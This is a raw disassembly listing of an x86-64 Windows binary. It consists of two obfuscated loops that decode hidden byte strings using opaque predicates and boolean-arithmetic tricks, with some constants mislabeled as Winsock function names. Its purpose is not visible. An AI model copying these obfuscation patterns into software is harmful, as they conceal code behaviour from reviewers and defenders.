mov qword [rbp + 0x1ee], rax
mov dword [rbp + 0x1f6], eax
mov word [rbp + 0x1fa], ax
mov byte [rbp + 0x1fc], al
movabs rsi, 0xae4fc5f70e42b735
movabs r14, 0x20cdf5af805870dd
movabs r15, 0xaef51e52ac8259f
movzx edi, byte [rsp + 0x50]
nop dword [rax]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x1d
jae 0x14008aa11
movzx r9d, byte [rbp + r10 + 0x1e0]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x14008aa05
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140089ed3
lea rcx, [r10 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x73
jmp 0x140089f00
je 0x14008a994
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008a967
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008a946
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008a922
cmp r8, r10
ja 0x14008a9f9
lea rcx, [r8 + 3]
cmp rbx, rcx
jae 0x140089f31
lea ecx, [r10 + 0x59]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6f
jmp 0x140089f61
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008a8db
cmp rbx, rcx
je 0x14008a8ba
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008a89f
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14008a872
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14008a4da
nop
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14008a4bb
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008a497
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14008a476
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14008a457
lea rcx, [r8 + 3]
cmp rbx, rcx
je 0x14008a439
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14008a41a
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14008a3f7
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008a3d8
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14008a3a7
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140089f70
mov rbx, rcx
lea r8, [rcx + 1]
lea rax, [r8 + 9]
cmp rcx, rax
jb 0x14008a9dc
lea rax, [r8 + 0x40]
cmp rcx, rax
jb 0x14008a9bf
lea rax, [r8 + 2]
cmp rcx, rax
jb 0x14008a155
lea rax, [r8 + 8]
cmp rcx, rax
jb 0x14008a13a
lea rcx, [r8 + 0x28]
cmp rbx, rcx
jb 0x14008a11f
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14008a356
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14008a30d
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14008a2cd
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14008a2a7
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140089f70
mov rbx, rcx
lea r8, [rcx + 0x400]
lea rax, [r8 + 0x200]
cmp rcx, rax
ja 0x14008a27a
lea rax, [r8 + 6]
cmp rcx, rax
ja 0x14008a25f
lea rax, [r8 + 0x20]
cmp rcx, rax
ja 0x14008a240
lea rax, [r8 + 0x80]
cmp rcx, rax
ja 0x14008a221
lea rax, [r8 + 5]
cmp rcx, rax
ja 0x14008a1ff
lea rax, [r8 + 0x10]
cmp rcx, rax
ja 0x14008a1dc
lea rax, [r8 + 0x64]
cmp rcx, rax
ja 0x14008a1b7
lea rax, [r8 + 4]
cmp rcx, rax
ja 0x14008a18f
lea rax, [r8 + 0xa]
cmp rcx, rax
ja 0x14008a170
lea rax, [r8 + 0x41]
cmp rcx, rax
ja 0x140089f70
lea rbx, [r8 + 0x61]
lea r8, [rbx + 3]
jmp 0x140089f70
lea ecx, [r10 - 0x39]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x71
jmp 0x140089f61
lea ecx, [r10 + 0x5d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x75
jmp 0x140089f00
lea ecx, [r10 - 0xd]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x5b
jmp 0x140089e96
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x78
movzx r11d, r10b
jmp 0x14008a8f5
lea edx, [r10 + 0x5e]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140089e83
lea edx, [r10 - 0xc]
movzx eax, dl
and al, r9b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140089e83
lea edx, [r10 - 0x76]
movzx eax, dl
and al, r9b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14008a7b8
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x14008a97b
lea edx, [r10 - 0x4a]
movzx eax, dl
and al, r9b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008a97b
lea ecx, [r10 + 0x4c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x14
movzx r11d, r10b
jmp 0x14008a7ff
lea ecx, [r10 - 0x1e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2e
jmp 0x14008a82b
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x48
movzx eax, byte [rbp + r10 + 0x1e0]
add rax, r8
add r10, rax
inc r10
jmp 0x140089e83
lea ecx, [r10 + 0x6f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 9
mov byte [rbp + r10 + 0x1e0], dil
inc r10
jmp 0x140089e83
lea ecx, [r10 + 5]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x23
cmp r8, 0x20
jb 0x14008a2bd
movzx r11d, r10b
lea ecx, [r11 + 0x1e]
movzx eax, cl
and al, r9b
mov edx, reloc.WS2_32.dll_socket
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x14008a8f5
lea ecx, [r10 - 0x65]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3d
cmp rbx, 2
jae 0x14008a796
lea rax, [r8 + 0xa]
cmp rbx, rax
jbe 0x14008a69d
lea edx, [r10 - 6]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008a2e3
lea ecx, [r10 + 0x31]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x57
lea rax, [r8 + rbx]
cmp rax, 0x3e8
je 0x14008a7e4
lea rax, [r8 + 0x80]
cmp rbx, rax
jbe 0x14008a5ef
lea ecx, [r10 - 0x5f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x67
jmp 0x14008a323
lea edx, [r10 + 0x16]
movzx eax, dl
and al, r9b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x1e0]
add rax, r8
add r10, rax
inc r10
jmp 0x140089e83
lea edx, [r10 - 0x54]
movzx eax, dl
and al, r9b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008a82b
movzx r11d, r10b
lea edx, [r11 + 0x42]
movzx eax, dl
and al, r9b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008a7ff
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r9b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008a97b
lea ecx, [r10 + 0x6e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 2
add rbx, r8
jmp 0x14008a97b
movzx r11d, r10b
lea ecx, [r11 + 4]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1c
jmp 0x14008a7b8
lea ecx, [r10 - 0x66]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x36
dec r10
inc r10
jmp 0x140089e83
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
inc r8
dec r10
inc r10
jmp 0x140089e83
movzx r11d, r10b
lea ecx, [r11 - 0x3a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6a
jmp 0x14008a8f5
lea rax, [r8 + 0x42]
cmp rbx, rax
jae 0x14008a502
lea ecx, [r10 + 0x35]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x73
jmp 0x14008a36c
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008a540
lea edx, [r10 - 0x4e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x1e0]
add rax, r8
add r10, rax
inc r10
jmp 0x140089e83
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008a56c
lea edx, [r10 + 0x1c]
movzx eax, dl
and al, r9b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008a82b
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008a597
lea ecx, [r10 + 0x5a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x76
add rbx, r8
jmp 0x14008a97b
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14008a5c3
movzx r11d, r10b
lea ecx, [r11 - 0x3c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5c
jmp 0x14008a7b8
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008a36c
movzx r11d, r10b
lea ecx, [r11 + 2]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xe
jmp 0x14008a8f5
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008a61b
movzx r11d, r10b
lea ecx, [r11 + 0xb]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4d
jmp 0x14008a8f5
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008a649
lea ecx, [r10 - 0x21]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x19
dec r10
inc r10
jmp 0x140089e83
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14008a671
lea ecx, [r10 + 0x1d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x35
jmp 0x14008a97b
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008a323
movzx r11d, r10b
lea ecx, [r11 - 0x79]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x4f
jmp 0x14008a7ff
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008a6db
lea edx, [r10 + 0x64]
movzx eax, dl
and al, r9b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x1e0]
add rax, r8
add r10, rax
inc r10
jmp 0x140089e83
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008a707
movzx r11d, r10b
lea ecx, [r11 + 0x76]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3a
jmp 0x14008a7b8
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14008a735
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
dec r10
inc r10
jmp 0x140089e83
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008a766
lea ecx, [r10 + 0x4a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 6
inc r8
dec r10
inc r10
jmp 0x140089e83
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14008a2e3
movzx r11d, r10b
lea edx, [r11 - 0x4c]
movzx eax, dl
and al, r9b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008a8f5
movzx r11d, r10b
lea edx, [r11 - 0x78]
movzx eax, dl
and al, r9b
movzx ecx, byte [rbp + r10 + 0x1e0]
sub cl, al
add cl, 0x24
lea edi, [rcx + rcx]
add dil, dl
sub r11b, 0x43
movzx eax, r11b
and al, r9b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x2b
add cl, r11b
add cl, r9b
mov byte [rbp + r10 + 0x1e0], cl
add rbx, r8
jmp 0x14008a97b
movzx r11d, r10b
lea edx, [r11 - 0xe]
movzx eax, dl
and al, r9b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add r11b, 0x27
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x11
add r11b, r9b
movzx eax, r11b
mov byte [rbp + r10 + 0x1e0], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 + 0x5c]
movzx eax, dl
and al, r9b
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r10 + 0x1e0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x1e0]
add rax, r8
add r10, rax
inc r10
jmp 0x140089e83
lea ecx, [r10 + 0x13]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x7b
movzx eax, byte [rbp + r10 + 0x1e0]
add rax, r8
add r10, rax
inc r10
jmp 0x140089e83
lea ecx, [r10 - 0x2b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x2d
jmp 0x14008a97b
lea ecx, [r10 - 0x69]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x21
dec r10
inc r10
jmp 0x140089e83
movzx r11d, r10b
lea ecx, [r11 - 0x3d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x55
add r11b, 0x53
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x45
add r9b, r11b
mov byte [rbp + r10 + 0x1e0], r9b
inc r8
dec r10
inc r10
jmp 0x140089e83
lea ecx, [r10 - 0x7b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x5d
inc r8
dec r10
inc r10
jmp 0x140089e83
lea ecx, [r10 + 0x1b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x43
dec r10
inc r10
jmp 0x140089e83
lea rcx, [r10 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0xb
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140089e83
lea rcx, [r10 + r15]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x59
movzx eax, byte [rbp + r10 + 0x1e0]
add rax, r8
add r10, rax
inc r10
jmp 0x140089e83
sub r10b, 0x77
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x41
jmp 0x140089e80
add r10b, 0x1f
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x27
jmp 0x140089e70
lea rcx, [rbp + 0x153197c]
jmp 0x14008aa18
lea rcx, [rbp + 0x155d0b1]
jmp 0x14008aa18
lea rcx, [rbp + 0x1e0]
xor r8d, r8d
lea rdx, [0x1401eb338]
call fcn.14003a850
test al, al
je 0x14008aa6d
movss xmm0, dword [0x1401eb338]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x1401eb1e8], eax
movss xmm1, dword [0x1401eb33c]
mulss xmm1, xmm6
cvttss2si eax, xmm1
mov dword [0x1401eb1ec], eax
movss xmm0, dword [0x1401eb340]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x1401eb1f0], eax
mov byte [rbp + 0x220], 0x5d
mov byte [rbp + 0x221], gethostname
mov byte [rbp + 0x222], select
mov byte [rbp + 0x223], gethostname
mov byte [rbp + 0x224], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x225], 0x26
mov byte [rbp + 0x226], 0x3e
mov byte [rbp + 0x227], 0x2b
mov byte [rbp + 0x228], 0x21
mov byte [rbp + 0x229], 0x79
mov byte [rbp + 0x22a], 0x45
mov byte [rbp + 0x22b], 0x2a
mov byte [rbp + 0x22c], 0x2e
mov byte [rbp + 0x22d], 0x24
mov byte [rbp + 0x22e], 0x26
mov byte [rbp + 0x22f], reloc.WS2_32.dll___WSAFDIsSet
xor eax, eax
mov word [rbp + 0x230], ax
movzx edi, byte [rsp + 0x50]
nop dword [rax + rax]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x12
jae 0x14008b6ac
movzx r9d, byte [rbp + r10 + 0x220]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x14008b6a0
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14008ab56
lea rcx, [r10 + 0x1336b]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x13
jmp 0x14008ab83
je 0x14008b62c
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008b59d
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008b56a
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008b548
cmp r8, r10
ja 0x14008b694
lea rax, [r8 + 6]
cmp rbx, rax
jae 0x14008abb4
lea ecx, [r10 - 0x39]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x71
jmp 0x14008abf0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008b4fd
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008b4b8
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008b49c
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008b480
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14008b180
nop dword [rax]
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14008b160
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14008b138
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14008b113
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14008b0f3
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14008b0d7
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14008b0bb
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008b09c
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008b07d
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008b04c
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14008ac00
lea rbx, [r8 + 0x41]
lea r8, [rbx + 0x7a]
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14008b677
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14008b65a
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14008adec
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14008adcd
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14008adae
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14008aff6
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14008afa9
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14008af65
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14008af3e
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14008ac00
lea rbx, [r8 + 2]
lea r8, [rbx + 1]
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14008af0d
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14008aeee
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14008aecf
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14008aeb3
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14008ae97
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14008ae77
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14008ae52
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14008ae2a
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14008ae0a
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14008ac00
lea rbx, [r8 + 6]
lea r8, [rbx + 5]
jmp 0x14008ac00
lea edx, [r10 + 0x19]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x51
add dil, dl
jmp 0x14008abf0
lea edx, [r10 + 0x43]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x2b
add dil, dl
jmp 0x14008ab83
lea edx, [r10 + 0x6d]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dl, 5
add dil, dl
jmp 0x14008ab16
lea edx, [r10 + 0x38]
movzx eax, r9b
and al, dl
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
movzx r11d, r10b
jmp 0x14008b518
lea edx, [r10 + 0x62]
movzx eax, r9b
and al, dl
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x14008ab03
lea edx, [r10 - 0x74]
movzx eax, r9b
and al, dl
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x14008ab03
lea edx, [r10 - 0x4a]
movzx eax, r9b
and al, dl
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
movzx r11d, r10b
jmp 0x14008b4d3
lea ecx, [r10 - 0x20]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x20
jmp 0x14008b581
lea ecx, [r10 + 0xa]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x46
jmp 0x14008b584
lea edx, [r10 + 0x34]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x6c
add dil, dl
jmp 0x14008b5ba
lea edx, [r10 + 0x5e]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008b5e5
lea edx, [r10 - 0x78]
movzx eax, r9b
and al, dl
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x220]
add rax, r8
add r10, rax
inc r10
jmp 0x14008ab03
lea ecx, [r10 + 0x71]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x17
mov byte [rbp + r10 + 0x220], dil
inc r10
jmp 0x14008ab03
lea edx, [r10 - 0x65]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x3d
add dil, dl
cmp r8, 0x2a
jb 0x14008af55
movzx r11d, r10b
lea edx, [r11 - 0x5e]
movzx eax, r9b
and al, dl
mov ecx, 9
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14008b51b
lea edx, [r10 - 0x3b]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x63
add dil, dl
cmp rbx, 0x61
jae 0x14008b442
lea rax, [r8 + 0x1000]
cmp rbx, rax
jbe 0x14008b31a
lea edx, [r10 + 0x46]
movzx eax, r9b
and al, dl
mov ecx, listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14008af7c
lea edx, [r10 - 0x11]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x77
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 0x200
je 0x14008b46a
lea rax, [r8 + 0x80]
cmp rbx, rax
jbe 0x14008b269
lea edx, [r10 + 0x7f]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x79
jmp 0x14008afc0
lea edx, [r10 - 0x56]
movzx eax, r9b
and al, dl
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x220]
add rax, r8
add r10, rax
inc r10
jmp 0x14008ab03
lea edx, [r10 - 0x2c]
movzx eax, r9b
and al, dl
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008b5e5
lea edx, [r10 - 2]
movzx eax, r9b
and al, dl
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008b5ba
lea ecx, [r10 + 0x28]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x18
jmp 0x14008b584
lea ecx, [r10 + 0x52]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x3e
jmp 0x14008b581
movzx r11d, r10b
lea edx, [r11 + 0x7c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x64
jmp 0x14008b4d3
lea edx, [r10 - 0x5a]
movzx eax, r9b
and al, dl
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x14008ab03
lea edx, [r10 - 0x30]
movzx eax, r9b
and al, dl
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x14008ab03
movzx r11d, r10b
lea edx, [r11 - 6]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14008b518
lea rax, [r8 + 0x20]
cmp rbx, rax
jae 0x14008b1a9
lea edx, [r10 + 0x6b]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x13
jmp 0x14008b00d
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008b1e7
lea edx, [r10 - 0x72]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x220]
add rax, r8
add r10, rax
inc r10
jmp 0x14008ab03
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008b213
lea edx, [r10 + 0x64]
movzx eax, r9b
and al, dl
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008b5e5
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008b23c
lea ecx, [r10 - 0x1a]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x4a
jmp 0x14008b581
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14008b010
movzx r11d, r10b
lea edx, [r11 + 0x3e]
movzx eax, r9b
and al, dl
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14008b518
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008b296
movzx r11d, r10b
lea edx, [r11 + 0x55]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x53
jmp 0x14008b518
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008b2c5
lea ecx, [r10 + 1]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 7
dec r10
inc r10
jmp 0x14008ab03
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008b2ee
lea ecx, [r10 - 0x7d]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x6b
jmp 0x14008b584
lea rax, [r8 + 3]
cmp rbx, rax
